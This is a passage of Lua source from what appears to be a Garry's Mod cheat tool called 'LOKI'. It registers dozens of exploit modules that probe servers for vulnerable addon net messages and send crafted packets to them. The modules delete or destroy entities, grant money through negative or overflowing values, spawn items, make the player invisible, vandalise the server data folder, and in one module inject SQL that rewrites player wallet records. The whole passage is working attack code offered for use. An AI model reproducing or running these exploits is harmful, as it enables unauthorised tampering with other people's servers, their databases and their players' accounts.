3491 { typ = "float", addr = "entity1_q", Name = "Amount", min = 1, max = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD", "Config", "PropLimit"}, "number") || math.huge, default = 1 },
3492 { typ = "func", Name = "Give me shit", },
3493 },
3494} )
3495LOKI.AddExploit( "Entity Exploit", {
3496 desc = "With just a wave of my magic wand...",
3497 severity = 100,
3498 bools = {enabled = false},
3499 status = 1,
3500 times_per_tick = math.huge,
3501 scan = function() return LOKI.ValidNetString("STOOL_FISHSPOT_REMOVE") end,
3502 hooks = {
3503 net = {
3504 SendToServer = function(sploit, varargs, func)
3505 func(unpack(varargs))
3506 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack1", "remove")) then
3507 LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
3508 net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
3509 net.SendToServer()
3510 end
3511 return false
3512 end,
3513 },
3514 /*_G = {
3515 SortedPairsByMemberValue = function(sploit, varargs, func)
3516 local PropertyList = varargs[1]
3517 if(istable(PropertyList) && PropertyList["remove"] && PropertyList["remove"]["Filter"] && sploit.bools.enabled) then
3518 local tbl = table.Copy(PropertyList)
3519 tbl["remove"]["Filter"] = function() return true end
3520 return func(unpack(varargs))
3521 end
3522 end,
3523 },*/
3524 },
3525 functions = {
3526 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack1" },
3527 { typ = "bool" },
3528 },
3529} )
3530LOKI.AddExploit( "Entity Exploit", {
3531 desc = "Some disassembly required",
3532 severity = 100,
3533 bools = {enabled = false},
3534 status = 1,
3535 times_per_tick = math.huge,
3536 scan = function() return LOKI.ValidNetString("DestroyTable") end,
3537 hooks = {
3538 net = {
3539 SendToServer = function(sploit, varargs, func)
3540 func(unpack(varargs))
3541 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack2", "remove")) then
3542 LOKI.NetStart(sploit, "DestroyTable")
3543 net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
3544 net.SendToServer()
3545 end
3546 return false
3547 end,
3548 },
3549 },
3550 functions = {
3551 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack2" },
3552 { typ = "bool" },
3553 },
3554} )
3555LOKI.AddExploit( "Entity Exploit", {
3556 desc = "Set your playermodel to anything",
3557 severity = 50,
3558 bools = {enabled = false},
3559 status = 1,
3560 times_per_tick = 1,
3561 vars = {},
3562 scan = function() return LOKI.ValidNetString( "SetPlayerModel" ) end,
3563 hooks = {
3564 Think = function(tbl, sploit)
3565 LOKI.NetStart(sploit, "SetPlayerModel")
3566 net.WriteString(LOKI.GetStored( "entity2_m" ))
3567 net.SendToServer()
3568 end,
3569 },
3570 functions = {
3571 { typ = "string", Name = "Model", default = "models/error.mdl", addr = "entity2_m" },
3572 { typ = "func", Name = "Do it", },
3573 },
3574} )
3575LOKI.AddExploit( "Entity Exploit", {
3576 desc = "Take a sip from the cup of destruction",
3577 severity = 100,
3578 bools = {enabled = false},
3579 status = 1,
3580 times_per_tick = math.huge,
3581 scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
3582 hooks = {
3583 net = {
3584 SendToServer = function(sploit, varargs, func)
3585 func(unpack(varargs))
3586 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack3", "remove")) then
3587 LOKI.NetStart(sploit, "AS_DoAttack")
3588 net.WriteTable({Weapon = Entity(LOKI.NetOutgoingData[2][1]):EntIndex(), Target = 0})
3589 net.SendToServer()
3590 end
3591 return false
3592 end,
3593 },
3594 },
3595 functions = {
3596 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack3" },
3597 { typ = "bool" },
3598 },
3599} )
3600LOKI.AddExploit( "Entity Exploit", {
3601 desc = "Give yourself any entity",
3602 severity = 50,
3603 bools = {enabled = false},
3604 status = 1,
3605 times_per_tick = 1,
3606 vars = {},
3607 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
3608 hooks = {
3609 Think = function(tbl, sploit)
3610 for k, v in ipairs(string.Split( LOKI.GetStored("entity2", "sent_ball"), "," )) do
3611 for i = 1, LOKI.GetStored("entity2_q") do
3612 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
3613 net.WriteString("Add")
3614 net.WriteTable({[1] = v})
3615 net.SendToServer()
3616 end
3617 end
3618 end,
3619 },
3620 functions = {
3621 { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity2" },
3622 { typ = "float", addr = "entity2_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
3623 { typ = "func", Name = "Give me shit", },
3624 },
3625} )
3626LOKI.AddExploit( "Entity Exploit", {
3627 desc = "Spawn any inventory item",
3628 severity = 50,
3629 bools = {enabled = false},
3630 status = 1,
3631 times_per_tick = math.huge,
3632 prevalidated = true,
3633 scan = function()
3634 local ret = LOKI.ValidNetString( "InvSV" ) && istable(Items)
3635 if(ret) then
3636 for k, v in pairs(Items) do
3637 v.ClassName = k
3638 end
3639 end
3640 return ret
3641 end,
3642 hooks = {
3643 Think = function(tbl, sploit)
3644 for i = 1, LOKI.GetStored("entity3_q") do
3645 LOKI.NetStart( sploit, "InvSV", true )
3646 net.WriteTable({})
3647 net.WriteString("DropItem")
3648 net.WriteString(LOKI.GetStored("entity3", "")[1])
3649 net.SendToServer()
3650 end
3651 end,
3652 },
3653 functions = {
3654 { typ = "combo", Name = "Entity", tbl = Items, var = "ClassName", sort = "ClassName", default = {}, addr = "entity3" },
3655 { typ = "float", addr = "entity3_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
3656 { typ = "func", Name = "Spawn", },
3657 },
3658} )
3659LOKI.AddExploit( "Entity Exploit", {
3660 desc = "Become invisible",
3661 severity = 50,
3662 bools = {enabled = false},
3663 status = 1,
3664 times_per_tick = math.huge,
3665 general_override = true,
3666 scan = function()
3667 return LOKI.ValidNetString( "camo_PlayerInvis" )
3668 end,
3669 OnEnable = function(var, sploit)
3670 if(var != "invisible") then return end
3671 LOKI.NetStart( sploit, "camo_PlayerInvis", true )
3672 net.WriteBool( true )
3673 net.SendToServer()
3674 end,
3675 OnDisable = function(var, sploit)
3676 if(var != "invisible") then return end
3677 LOKI.NetStart( sploit, "camo_PlayerInvis", true )
3678 net.WriteBool( false )
3679 net.SendToServer()
3680 end,
3681 functions = {
3682 { typ = "bool", ToggleText = {"Cloak"}, border = true, bool = "invisible" },
3683 },
3684} )
3685LOKI.AddExploit( "Movement Exploit", {
3686 desc = "My name is Barry Allen...",
3687 severity = 50,
3688 bools = {enabled = false},
3689 status = 1,
3690 times_per_tick = 1,
3691 scan = function() return LOKI.ValidNetString("XMH_RunOneLineLua") end,
3692 count = {
3693 ["Active"] = 3,
3694 ["Total"] = 3,
3695 },
3696 hooks = {
3697 Think = function(tbl, sploit)
3698 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3699 net.WriteString("xmh_walkspeed_var")
3700 net.WriteInt(LOKI.GetStored("dbx_wlk"), 16)
3701 net.SendToServer()
3702 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3703 net.WriteString("xmh_runspeed_var")
3704 net.WriteInt(LOKI.GetStored("dbx_run"), 16)
3705 net.SendToServer()
3706 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3707 net.WriteString("xmh_jumpheight_var")
3708 net.WriteInt(LOKI.GetStored("dbx_jmp"), 16)
3709 net.SendToServer()
3710 end,
3711 },
3712 functions = {
3713 { typ = "float", Name = "Walk Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 160, addr = "dbx_wlk" },
3714 { typ = "float", Name = "Run Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 240, addr = "dbx_run" },
3715 { typ = "float", Name = "Jump Height", min = 1, max = math.floor(2^16 / 2)-1, default = 200, addr = "dbx_jmp" },
3716 { typ = "func", Name = "Do it"},
3717 },
3718} )
3719LOKI.AddExploit( "Movement Exploit", {
3720 desc = "Become a triathlon runner",
3721 severity = 1,
3722 bools = {enabled = false},
3723 status = 1,
3724 times_per_tick = 1,
3725 prevalidated = true,
3726 scan = function() return LOKI.ValidNetString("StaminaDrowning") && LOKI.GetLP().BurgerStamina != nil && LOKI.GetLP().BurgerMaxStamina != nil end,
3727 hooks = {
3728 CreateMove = function()
3729 LOKI.GetLP().BurgerStamina = LOKI.GetLP().BurgerMaxStamina
3730 end,
3731 },
3732 functions = {
3733 { typ = "bool" },
3734 },
3735} )
3736LOKI.AddExploit( "Movement Exploit", {
3737 desc = "Become a triathlon runner",
3738 severity = 1,
3739 bools = {enabled = false},
3740 status = 1,
3741 times_per_tick = 1,
3742 scan = function() return isfunction(StopSprint) && LOKI.GetLP():GetNWInt( "stamina", false ) != false end,
3743 vars = {stamina = 0},
3744 hooks = {
3745 Tick = function(tbl, sploit)
3746 LOKI.GetLP():SetNWInt( "stamina", math.huge )
3747 end,
3748 },
3749 functions = {
3750 { typ = "bool" },
3751 },
3752} )
3753LOKI.AddExploit( "Vandalize Server Data", {
3754 desc = "Vandalize the servers data folder, probably won't do any real damage but will annoy their devs",
3755 severity = 90,
3756 bools = {enabled = false},
3757 status = 2,
3758 times_per_tick = math.huge,
3759 vars = {},
3760 scan = function() return LOKI.ValidNetString( "WriteQuery" ) end,
3761 hooks = {
3762 Think = function(tbl, sploit)
3763 LOKI.NetStart( sploit, "WriteQuery" )
3764 net.WriteString( "BUY ODIUM.PRO"..string.rep( "!", math.random( 1, 50 ) ) )
3765 net.SendToServer()
3766 end,
3767 },
3768 functions = {
3769 { typ = "bool", },
3770 },
3771} )
3772LOKI.AddExploit( "Money Exploit", {
3773 desc = "Give people a crapton of money",
3774 severity = 90,
3775 bools = {enabled = false},
3776 status = 1,
3777 times_per_tick = 1,
3778 vars = {},
3779 prevalidated = true,
3780 scan = function() return LOKI.ValidNetString( "SendMoney" ) && net.Receivers["confpanel"] end,
3781 hooks = {
3782 Think = function(tbl, sploit)
3783 for k, v in ipairs( LOKI.GetStored( "shekels1_plyz", {} ) ) do
3784 if IsValid(v) then
3785 LOKI.NetStart( sploit, "SendMoney" )
3786 net.WriteEntity( v )
3787 net.WriteEntity( v )
3788 net.WriteEntity( v )
3789 net.WriteString( tostring(-LOKI.SafeToNumber(LOKI.GetStored( "shekels1" ))) )
3790 net.SendToServer()
3791 end
3792 end
3793 end,
3794 },
3795 functions = {
3796 { typ = "players", addr = "shekels1_plyz" },
3797 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels1" },
3798 { typ = "func", Name = "Give shekels", },
3799 },
3800} )
3801LOKI.AddExploit( "Money Exploit", {
3802 desc = "Give yourself a crapton of money",
3803 severity = 50,
3804 bools = {enabled = false},
3805 status = 1,
3806 times_per_tick = 1,
3807 vars = {},
3808 scan = function() return LOKI.ValidNetString( "BailOut" ) end,
3809 hooks = {
3810 Think = function(tbl, sploit)
3811 LOKI.NetStart( sploit, "BailOut" )
3812 net.WriteEntity( LOKI.GetLP() )
3813 net.WriteEntity( LOKI.GetLP() )
3814 net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored( "shekels2" )) )
3815 net.SendToServer()
3816 end,
3817 },
3818 functions = {
3819 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels2" },
3820 { typ = "func", Name = "Give me shekels", },
3821 },
3822} )
3823LOKI.AddExploit( "Money Exploit", {
3824 desc = "Give yourself a crapton of money",
3825 severity = 50,
3826 bools = {enabled = false},
3827 status = 2,
3828 times_per_tick = 1,
3829 vars = {},
3830 scan = function() return LOKI.ValidNetString( "casinokit_chipexchange" ) && LOKI.GetLP().getDarkRPVar end,
3831 hooks = {
3832 Think = function(tbl, sploit)
3833 local moneylog = LOKI.GetLP():getDarkRPVar("money")
3834 LOKI.NetStart( sploit, "casinokit_chipexchange")
3835 net.WriteEntity(LOKI.GetLP())
3836 net.WriteString("darkrp")
3837 net.WriteBool(true)
3838 net.WriteUInt(LOKI.GetLP():getDarkRPVar("money"),32)
3839 net.SendToServer()
3840 for i=1, 10 do
3841 LOKI.NetStart( sploit, "casinokit_chipexchange")
3842 net.WriteEntity(LOKI.GetLP())
3843 net.WriteString("darkrp")
3844 net.WriteBool(false)
3845 net.WriteUInt(moneylog*0.10,32)
3846 net.SendToServer()
3847 end
3848 end,
3849 },
3850 functions = {
3851 { typ = "func", Name = "Give me shekels", },
3852 },
3853} )
3854LOKI.AddExploit( "Money Exploit", {
3855 desc = "Give yourself a crapton of money",
3856 severity = 50,
3857 bools = {enabled = false},
3858 status = 1,
3859 times_per_tick = 1,
3860 vars = {},
3861 scan = function() return LOKI.ValidNetString( "hitcomplete" ) && LOKI.GetLP().getDarkRPVar end,
3862 hooks = {
3863 Think = function(tbl, sploit)
3864 LOKI.NetStart( sploit, "hitcomplete")
3865 net.WriteDouble( LOKI.GetStored( "shekels4" ) )
3866 net.SendToServer()
3867 end,
3868 },
3869 functions = {
3870 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels4" },
3871 { typ = "func", Name = "Give me shekels", },
3872 },
3873} )
3874LOKI.AddExploit( "Money Exploit", {
3875 desc = "Give yourself a crapton of money",
3876 severity = 50,
3877 bools = {enabled = false},
3878 status = 1,
3879 times_per_tick = 1,
3880 vars = {},
3881 scan = function() return LOKI.ValidNetString( "WithdrewBMoney" ) && LOKI.GetLP().getDarkRPVar end,
3882 hooks = {
3883 Think = function(tbl, sploit)
3884 LOKI.NetStart( sploit, "WithdrewBMoney" )
3885 net.WriteInt( LOKI.GetStored( "shekels5" ), 32 )
3886 net.SendToServer()
3887 end,
3888 },
3889 functions = {
3890 { typ = "float", Name = "Amount", min = 1, max = 50000, default = 1000, addr = "shekels5" },
3891 { typ = "func", Name = "Give me shekels", },
3892 },
3893} )
3894LOKI.AddExploit( "Money Exploit", {
3895 desc = "Give yourself a crapton of money",
3896 severity = 50,
3897 bools = {enabled = false},
3898 status = 1,
3899 times_per_tick = 1,
3900 vars = {},
3901 scan = function() return LOKI.ValidNetString( "ClickerAddToPoints" ) && LOKI.GetLP().getDarkRPVar end,
3902 hooks = {
3903 Think = function(tbl, sploit)
3904 LOKI.NetStart( sploit, "ClickerAddToPoints")
3905 net.WriteInt(LOKI.GetStored( "shekels6" ), 32)
3906 net.SendToServer()
3907 end,
3908 },
3909 functions = {
3910 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels6" },
3911 { typ = "func", Name = "Give me shekels", },
3912 },
3913} )
3914LOKI.AddExploit( "Money Exploit", {
3915 desc = "Give yourself a crapton of money",
3916 severity = 50,
3917 bools = {enabled = false},
3918 status = 2,
3919 times_per_tick = 1,
3920 vars = {},
3921 scan = function() return LOKI.ValidNetString( "ckit_roul_bet" ) && LOKI.GetLP().getDarkRPVar end,
3922 hooks = {
3923 Think = function(tbl, sploit)
3924 LOKI.NetStart( sploit, "ckit_roul_bet")
3925 net.WriteEntity(LOKI.GetLP())
3926 net.WriteString("")
3927 net.WriteString("")
3928 net.WriteUInt(-LOKI.SafeToNumber(LOKI.GetStored( "shekels7" )), 16)
3929 net.SendToServer()
3930 end,
3931 },
3932 functions = {
3933 { typ = "float", Name = "Amount", min = 1, max = math.pow(2, 16)-1, default = 1000, addr = "shekels7" },
3934 { typ = "func", Name = "Give me shekels", },
3935 },
3936} )
3937LOKI.AddExploit( "Money Exploit", {
3938 desc = "Give yourself a crapton of money",
3939 severity = 50,
3940 bools = {enabled = false},
3941 status = -1,
3942 times_per_tick = 1,
3943 vars = {},
3944 scan = function() return LOKI.ValidNetString( "duelrequestguiYes" ) && LOKI.GetLP().getDarkRPVar end,
3945 hooks = {
3946 Think = function(tbl, sploit)
3947 LOKI.NetStart( sploit, "duelrequestguiYes")
3948 net.WriteInt(0xFFFFFFFF,32)
3949 net.WriteEntity(table.Random( player.GetAll() ) )
3950 net.WriteString("Crossbow")
3951 net.SendToServer()
3952 end,
3953 },
3954 functions = {
3955 { typ = "func", Name = "Give me shekels", },
3956 },
3957} )
3958LOKI.AddExploit( "Money Exploit", {
3959 desc = "Give yourself a crapton of money",
3960 severity = 50,
3961 bools = {enabled = false},
3962 status = 1,
3963 times_per_tick = 1,
3964 vars = {},
3965 prevalidated = true,
3966 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay && LOKI.GetLP().getDarkRPVar end,
3967 hooks = {
3968 Think = function(tbl, sploit)
3969 for k, v in ipairs( LOKI.GetStored( "shekels2_plyz", {} ) ) do
3970 if IsValid(v) then
3971 local ass = {}
3972 ass.tblname = "darkrp_player; UPDATE darkrp_player SET wallet = "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:SteamID64() .. "; UPDATE darkrp_player SET wallet "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:UniqueID()
3973 ass.ply = v
3974 LOKI.NetStart( sploit, "pplay_sendtable")
3975 net.WriteTable(ass)
3976 net.SendToServer()
3977 end
3978 end
3979 end,
3980 },
3981 functions = {
3982 { typ = "players", addr = "shekels2_plyz" },
3983 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels9" },
3984 { typ = "func", Name = "Give shekels", },
3985 },
3986} )
3987LOKI.AddExploit( "Money Exploit", {
3988 desc = "Effectiveness varies server to server",
3989 severity = 50,
3990 bools = {enabled = false},
3991 status = 1,
3992 times_per_tick = 1,
3993 vars = {},
3994 scan = function() return LOKI.ValidNetString( "RevivePlayer" ) && LOKI.GetLP().getDarkRPVar end,
3995 hooks = {
3996 Think = function(tbl, sploit)
3997 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
3998 if(r_tbl.cooldown == 0) then
3999 r_tbl.cooldown = (LOKI.REAL_CURTIME + LOKI.SafeToNumber(LOKI.GetStored( "shekels10" )))
4000 end
4001 LOKI.NetStart( sploit, "RevivePlayer")
4002 net.SendToServer()
4003 end,
4004 },
4005 functions = {
4006 { typ = "float", Name = "Cooldown", min = 1, max = 300, default = 60, addr = "shekels10" },
4007 { typ = "bool" },
4008 },
4009} )
4010LOKI.AddExploit( "Money Exploit", {
4011 desc = "Give people a crapton of money",
4012 severity = 50,
4013 bools = {enabled = false},
4014 status = -1,
4015 times_per_tick = 1,
4016 vars = {},
4017 scan = function() return LOKI.ValidNetString( "75_plus_win" ) end,
4018 hooks = {
4019 Think = function(tbl, sploit)
4020 for k, v in ipairs( LOKI.GetStored( "shekels11_plyz", {} ) ) do
4021 if IsValid(v) then
4022 LOKI.NetStart( sploit, "75_plus_win" )
4023 net.WriteString( LOKI.GetStored( "shekels11" ) )
4024 net.WriteEntity(v)
4025 net.SendToServer()
4026 end
4027 end
4028 end,
4029 },
4030 functions = {
4031 { typ = "players", addr = "shekels11_plyz" },
4032 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels11" },
4033 { typ = "func", Name = "Give shekels", },
4034 },
4035} )
4036LOKI.AddExploit( "Money Exploit", {
4037 desc = "Give yourself a crapton of money",
4038 severity = 50,
4039 bools = {enabled = false},
4040 status = -1,
4041 times_per_tick = 1,
4042 vars = {},
4043 scan = function() return LOKI.ValidNetString( "ATMDepositMoney" ) end,
4044 hooks = {
4045 Think = function(tbl, sploit)
4046 LOKI.NetStart( sploit, "ATMDepositMoney" )
4047 net.WriteFloat( -LOKI.GetStored( "shekels12" ) )
4048 net.SendToServer()
4049 end,
4050 },
4051 functions = {
4052 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels12" },
4053 { typ = "func", Name = "Give me shekels", },
4054 },
4055} )
4056LOKI.AddExploit( "Money Exploit", {
4057 desc = "Give yourself a crapton of money",
4058 severity = 50,
4059 bools = {enabled = false},
4060 status = -1,
4061 times_per_tick = 1,
4062 vars = {},
4063 scan = function() return LOKI.ValidNetString( "SellMinerals", "Upgrade" ) end,
4064 hooks = {
4065 Think = function(tbl, sploit)
4066 if(SkillDB && istable(SkillDB)) then
4067 for k1,v1 in pairs(SkillDB) do
4068 if not ( v1.iSkill == true ) then
4069 LOKI.NetStart( sploit, "SetUpgrade")
4070 net.WriteTable( { LuaName = v1.LuaName, Amount = LOKI.GetStored( "shekels13" ) } )
4071 net.SendToServer()
4072
4073 LOKI.NetStart( sploit, "SellMinerals" )
4074 net.WriteTable( { Target = LOKI.GetLP() } )
4075 net.SendToServer()
4076 end
4077 end
4078 end
4079 end,
4080 },
4081 functions = {
4082 { typ = "players", addr = "shekels13_plyz" },
4083 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels13" },
4084 { typ = "func", Name = "Give shekels", },
4085 },
4086} )
4087LOKI.AddExploit( "Money Exploit", {
4088 desc = "Give yourself a crapton of money",
4089 severity = 50,
4090 bools = {enabled = false},
4091 status = -1,
4092 times_per_tick = 1,
4093 vars = {},
4094 scan = function() return LOKI.ValidNetString( "TakeBetMoney" ) end,
4095 hooks = {
4096 Think = function(tbl, sploit)
4097 LOKI.NetStart( sploit, "TakeBetMoney" )
4098 net.WriteTable({LOKI.SafeToNumber(LOKI.GetStored( "shekels14" )), LOKI.SafeToNumber(LOKI.GetStored( "shekels14" ))})
4099 net.SendToServer()
4100 end,
4101 },
4102 functions = {
4103 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels14" },
4104 { typ = "func", Name = "Give me shekels", },
4105 },
4106} )
4107LOKI.AddExploit( "Money Exploit", {
4108 desc = "Give yourself a crapton of money",
4109 severity = 50,
4110 bools = {enabled = false},
4111 status = -1,
4112 times_per_tick = 1,
4113 vars = {},
4114 scan = function() return LOKI.ValidNetString( "kart_sell" ) end,
4115 hooks = {
4116 Think = function(tbl, sploit)
4117 LOKI.NetStart( sploit, "kart_sell")
4118 net.WriteString("sw_gokart")
4119 net.SendToServer()
4120 end,
4121 },
4122 functions = {
4123 { typ = "func", Name = "Give me shekels", },
4124 },
4125} )
4126LOKI.AddExploit( "Money Exploit", {
4127 desc = "Fine other players for free money",
4128 severity = 50,
4129 bools = {enabled = false},
4130 status = 1,
4131 times_per_tick = 1,
4132 vars = {},
4133 scan = function() return LOKI.ValidNetString( "tickbooksendfine" ) end,
4134 hooks = {
4135 Think = function(tbl, sploit)
4136 local ply_tbl = LOKI.GetStored( "shekels17_plyz", {} )
4137 local max_dist = LOKI.RecursiveGetVar(TicketBook, {"Config", "TB", "MaxDistance"}, "number")
4138 if(max_dist) then
4139 ply_tbl = ents.FindInSphere(LOKI.GetLP():GetPos(), max_dist)
4140 end
4141 for k, v in ipairs( ply_tbl ) do
4142 local t = LOKI.GetStored( "shekels17_plyz", {} )
4143 if table.HasValue( t, v ) then
4144 LOKI.NetStart( sploit, "tickbooksendfine")
4145 net.WriteString(v:SteamID())
4146 net.WriteTable({LOKI.GetStored("shekels17r", "GET ODIUM.PRO")})
4147 net.WriteDouble(LOKI.SafeToNumber(LOKI.GetStored("shekels17", 1500)), 32)
4148 net.SendToServer()
4149 end
4150 end
4151 end,
4152 },
4153 functions = {
4154 { typ = "players", addr = "shekels17_plyz" },
4155 { typ = "float", Name = "Amount", min = 1, max = (LOKI.RecursiveGetVar(TicketBook, {"Config", "Fine", "Max"}, "number") || 5000), default = 1000, addr = "shekels17" },
4156 { typ = "string", Name = "Fine Reason", default = "GET ODIUM.PRO", addr = "shekels17r" },
4157 { typ = "bool", Name = "Give me shekels", },
4158 },
4159} )
4160LOKI.AddExploit( "Money Exploit", {
4161 desc = "Give yourself a crapton of money",
4162 severity = 50,
4163 bools = {enabled = false},
4164 status = 2,
4165 times_per_tick = 1,
4166 vars = {},
4167 scan = function() return LOKI.ValidNetString( "hhh_request" ) end,
4168 hooks = {
4169 Think = function(tbl, sploit)
4170 local hitRequest = {hitman = LOKI.GetLP(), requester = LOKI.GetLP(), target = table.Random(player.GetAll()), reward = LOKI.SafeToNumber(LOKI.GetStored("shekels18", 1500))}
4171
4172 LOKI.NetStart( sploit, 'hhh_request' )
4173 net.WriteTable( hitRequest )
4174 net.SendToServer()
4175 end,
4176 },
4177 functions = {
4178 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels18" },
4179 { typ = "func", Name = "Give me shekels", },
4180 },
4181} )
4182LOKI.AddExploit( "Money Exploit", {
4183 desc = "Ez money",
4184 severity = 50,
4185 bools = {enabled = false},
4186 status = 1,
4187 times_per_tick = 1,
4188 vars = {},
4189 scan = function() return LOKI.ValidNetString( "DaHit" ) end,
4190 hooks = {
4191 Think = function(tbl, sploit)
4192 LOKI.NetStart( sploit, "DaHit" )
4193 net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored("shekels19", 1500)) )
4194 net.WriteEntity( LOKI.GetLP() )
4195 net.WriteEntity( LOKI.GetLP() )
4196 net.WriteEntity( LOKI.GetLP() )
4197 net.SendToServer()
4198 end,
4199 },
4200 functions = {
4201 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels19" },
4202 { typ = "func", Name = "Give me shekels", },
4203 },
4204} )
4205LOKI.AddExploit( "Money Exploit", {
4206 desc = "Just a Taxi Driver trying to make an honest living",
4207 severity = 50,
4208 bools = {enabled = false},
4209 status = 1,
4210 times_per_tick = 1,
4211 vars = {},
4212 scan = function() return LOKI.ValidNetString( "NET_EcSetTax" ) end,
4213 hooks = {
4214 Think = function(tbl, sploit)
4215 LOKI.NetStart( sploit, "NET_EcSetTax" )
4216 net.WriteInt(LOKI.GetStored("shekels21", 1000), 16)
4217 net.SendToServer()
4218 end,
4219 },
4220 functions = {
4221 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "shekels21" },
4222 { typ = "func", Name = "Give me shekels", },
4223 },
4224} )
4225LOKI.AddExploit( "Money Exploit", {
4226 desc = "Just an Irish Farmer trying to make an honest living",
4227 severity = 50,
4228 bools = {enabled = false},
4229 status = 1,
4230 times_per_tick = 1,
4231 vars = {},
4232 prevalidated = true,
4233 scan = function() return LOKI.ValidNetString( "FARMINGMOD_ADDITEM", "FARMINGMOD_SELLITEM" ) end,
4234 hooks = {
4235 Think = function(tbl, sploit)
4236 local tbl = {}
4237 local r_tbl = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "crops"}, "table")
4238 if(r_tbl) then
4239 for _, crop in pairs(r_tbl) do
4240 if(crop.sell && !tbl.sell || crop.sell > tbl.sell) then
4241 tbl = crop
4242 end
4243 end
4244 local quantity = (LOKI.GetStored("shekels22", 1000) / tbl.sell) + 1
4245 local recurse = math.Round(quantity / ((math.pow(2, 16)-1)/2))
4246 for i=0,recurse do
4247 if(recurse > 1) then
4248 quantity = quantity - ((math.pow(2, 16)-1)/2)
4249 end
4250 local quant = math.Clamp(quantity, 1, ((math.pow(2, 16)-1)/2))
4251 LOKI.NetStart( sploit, "FARMINGMOD_ADDITEM", true )
4252 net.WriteTable(tbl)
4253 net.WriteInt(quant, 16)
4254 net.SendToServer()
4255 LOKI.NetStart( sploit, "FARMINGMOD_SELLITEM", true )
4256 net.WriteTable(tbl)
4257 net.WriteInt(quant, 16)
4258 net.SendToServer()
4259 end
4260 else
4261 sploit.status = 3
4262 end
4263 end,
4264 },
4265 functions = {
4266 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels22" },
4267 { typ = "func", Name = "Give me shekels", },
4268 },
4269} )
4270LOKI.AddExploit( "Money Exploit", {
4271 desc = "Inverse the polarity of the servers moral compass",
4272 severity = 50,
4273 bools = {enabled = false},
4274 status = 1,
4275 times_per_tick = math.huge,
4276 count = {
4277 ["Active"] = 6,
4278 ["Total"] = 6,
4279 },
4280 scan = function() return LOKI.DynamicNetString("credit_") && net.Receivers["credit_gui_loan"] end,
4281 hooks = {
4282 net = {
4283 WriteDouble = function(sploit, varargs)
4284 local CMOD_Messages = {
4285 ["credit_"] = true,
4286 }
4287 for k, v in pairs(CMOD_Messages) do
4288 if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
4289 varargs[1] = -varargs[1]
4290 break
4291 end
4292 end
4293 end,
4294 },
4295 },
4296 functions = {
4297 { typ = "bool" },
4298 },
4299} )
4300LOKI.AddExploit( "Money Exploit", {
4301 desc = "Show the server your empty wallet and see if it feels guilty",
4302 severity = 50,
4303 bools = {enabled = false},
4304 status = 1,
4305 times_per_tick = 1,
4306 count = {
4307 ["Active"] = 1,
4308 ["Total"] = 1,
4309 },
4310 scan = function() return LOKI.ValidNetString("lp2PrinterCart") end,
4311 hooks = {
4312 util = {
4313 TableToJSON = function(sploit, varargs)
4314 if(varargs[1].fullPrice && sploit.bools.freeprint) then
4315 varargs[1].fullPrice = 0
4316 //varargs[1].product1 = "worldspawn"
4317 end
4318 end,
4319 },
4320 },
4321 functions = {
4322 { typ = "bool", ToggleText = {"Free Printers"}, border = true, bool = "freeprint" },
4323 },
4324} )
4325LOKI.AddExploit( "Money Exploit", {
4326 desc = "Pay your negative debts",
4327 severity = 50,
4328 bools = {enabled = false},
4329 status = 1,
4330 times_per_tick = 1,
4331 vars = {},
4332 scan = function() return LOKI.ValidNetString( "FOC_ClaimPay" ) end,
4333 hooks = {
4334 Think = function(tbl, sploit)
4335 LOKI.NetStart( sploit, "FOC_ClaimPay" )
4336 net.WriteInt(LOKI.GetStored("shekels23", 1000), 32)
4337 net.SendToServer()
4338 end,
4339 },
4340 functions = {
